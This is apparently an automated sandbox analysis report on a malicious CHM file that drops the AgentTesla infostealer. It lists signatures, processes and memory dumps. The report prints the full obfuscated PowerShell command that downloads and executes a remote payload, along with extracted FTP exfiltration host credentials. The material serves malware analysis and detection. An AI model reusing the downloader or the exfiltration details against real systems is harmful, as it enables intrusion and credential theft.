Analysis
- max time kernel
51s - max time network
46s - platform
windows7_x64 - resource
win7-20220414-en - submitted
20/05/2022, 01:54
General
- Target 4e5ef8e38b17fdf30961f28d4b5e2e23.chm
- Size 14KB
- Sample220520-cbrbasebb7
- SHA256 f0c20d4ea2e2cc1d3c9df58b1a4854f9e3b761b7cd0c26860559289c74a8d50f
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://pacurariu.com/F37.jpg
Extracted
-
Protocol
ftp
-
Host
ftp.jordi-spedition.com
-
Port
21
-
Username
-
Password
asdqwe123!@#
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://ftp.jordi-spedition.com/
-
Port
21
-
Username
-
Password
asdqwe123!@#
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- suricata: ET MALWARE AgentTesla Exfil via FTP
suricata: ET MALWARE AgentTesla Exfil via FTP
- Blocklisted process makes network request 1 IoCs
- Loads dropped DLL 2 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\hh.exe"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\4e5ef8e38b17fdf30961f28d4b5e2e23.chm1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'http' + '://pacurariu.com/F37.jpg')|P2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
AgileDotNetRT64.dll
AgileDotNetRT64.dll
memory/1160-54-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp
memory/1200-68-0x0000000000400000-0x000000000043A000-memory.dmp
memory/1200-74-0x0000000075581000-0x0000000075583000-memory.dmp
memory/1200-73-0x0000000000400000-0x000000000043A000-memory.dmp
memory/1200-71-0x0000000000400000-0x000000000043A000-memory.dmp
memory/1200-63-0x0000000000400000-0x000000000043A000-memory.dmp
memory/1200-66-0x0000000000400000-0x000000000043A000-memory.dmp
memory/1200-64-0x0000000000400000-0x000000000043A000-memory.dmp
memory/1200-67-0x0000000000400000-0x000000000043A000-memory.dmp
memory/2024-59-0x000000000269B000-0x00000000026BA000-memory.dmp
memory/2024-57-0x000007FEEDED0000-0x000007FEEEA2D000-memory.dmp
memory/2024-61-0x000007FEEFFA0000-0x000007FEF0124000-memory.dmp
memory/2024-58-0x0000000002694000-0x0000000002697000-memory.dmp